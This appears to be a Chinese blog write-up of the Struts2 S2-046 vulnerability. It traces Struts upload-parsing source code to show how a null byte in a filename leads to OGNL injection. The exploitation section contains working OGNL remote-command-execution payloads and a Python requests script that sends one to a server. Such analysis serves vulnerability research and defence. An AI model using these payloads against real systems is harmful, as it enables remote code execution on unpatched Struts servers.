前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

跟 S2-045 的原理相同,触发点不同。


环境搭建

2.3.31 版本 struts2 + Tomcat 9。

修改 struts.xml,切换文件上传的解析器:

<constant name="struts.multipart.parser" value="jakarta-stream" />

漏洞分析

阅读漏洞通告,可以看出问题出在 Content-Disposition,即上传文件名等信息中。

漏洞触发点同样是在 buildErrorMessage,而 parse 函数会调用这个函数,不过是在 JakartaStreamMultiPartRequest 类中:

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

只要 processUpload 函数中抛出一个可控的错误信息,就可以进行 OGNL 表达式注入,继续看 processUpload 函数:

private void processUpload(HttpServletRequest request, String saveDir) throws Exception {

    // Sanity check that the request is a multi-part/form-data request.
    if (ServletFileUpload.isMultipartContent(request)) {

        // Sanity check on request size.
        boolean requestSizePermitted = isRequestSizePermitted(request);

        // Interface with Commons FileUpload API
        // Using the Streaming API
        ServletFileUpload servletFileUpload = new ServletFileUpload();
        FileItemIterator i = servletFileUpload.getItemIterator(request);

        // Iterate the file items
        while (i.hasNext()) {
            try {
                FileItemStream itemStream = i.next();

                // If the file item stream is a form field, delegate to the
                // field item stream handler
                if (itemStream.isFormField()) {
                    processFileItemStreamAsFormField(itemStream);
                }

                // Delegate the file item stream for a file field to the
                // file item stream handler, but delegation is skipped
                // if the requestSizePermitted check failed based on the
                // complete content-size of the request.
                else {

                    // prevent processing file field item if request size not allowed.
                    // also warn user in the logs.
                    if (!requestSizePermitted) {
                        addFileSkippedError(itemStream.getName(), request);
                        LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                        continue;
                    }

                    processFileItemStreamAsFileField(itemStream, saveDir);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

我们先看看代表上传文件信息的 FileItemStream 接口,可以看到里面主要有获取 Content-Disposition 里三种信息的函数:

String getContentType();
String getName();
String getFieldName();

我们再看这几个函数的具体实现,其中 getName 的实现与众不同:

public String getName() {
    return Streams.checkFileName(name);
}

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName, "Invalid file name: " + sb);
    }
    return fileName;
}

可以看到,只要在文件名中包含一个 \x00,我们就可以控制抛出一个错误信息了,所以可以通过让 requestSizePermitted 为 false,从而触发里面的 itemStream.getName(),而 requestSizePermitted 来自 isRequestSizePermitted,只要将 Content-length 设置为一个很大的数字就可以了。

其实上这个漏洞不需要设置也能触发 Content-length,requestSizePermitted 为 true 时也会触发 processFileItemStreamAsFileField 函数:

private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
    // Skip file uploads that don't have a file name - meaning that no file was selected.
    if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
        LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
        return;
    }

    File file = null;
    try {
        // Create the temporary upload file.
        file = createTemporaryFile(itemStream.getName(), location);

        if (streamFileToDisk(itemStream, file))
            createFileInfoFromItemStream(itemStream, file);
    } catch (IOException e) {
        if (file != null) {
            try {
                file.delete();
            } catch (SecurityException se) {
                se.printStackTrace();
                LOG.warn("Failed to delete '#0' due to security exception above.", file.getName());
            }
        }
    }
}

里面同样有 itemStream.getName(),也可以触发漏洞。

漏洞利用

在这个版本里面,_memberAccess 无法直接访问来修改,而 setMemberAccess 会被 isPackageExcluded 函数拦截,所以需要另寻他法,具体的分析可以看看参考文章,这里贴两个 payload:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

更全面一点的:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

最后的利用:

# -*- coding:utf8 -*-
import requests

url = "http://localhost:8080"
files = {
    'upload': (
        'Twings\x00' +
        '%{(#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).'
        '(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).'
        '(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).'
        '(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).'
        '(@java.lang.Runtime@getRuntime().exec(\'calc\'))}',
        'file data',
        'application/octet-stream',
        {}
    )
}
print requests.post(url, files=files).headers

漏洞修复

同 S2-045。


参考文章:

https://www.freebuf.com/vuls/129871.html

https://xz.aliyun.com/t/3395


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-053
struts2系列漏洞 S2-045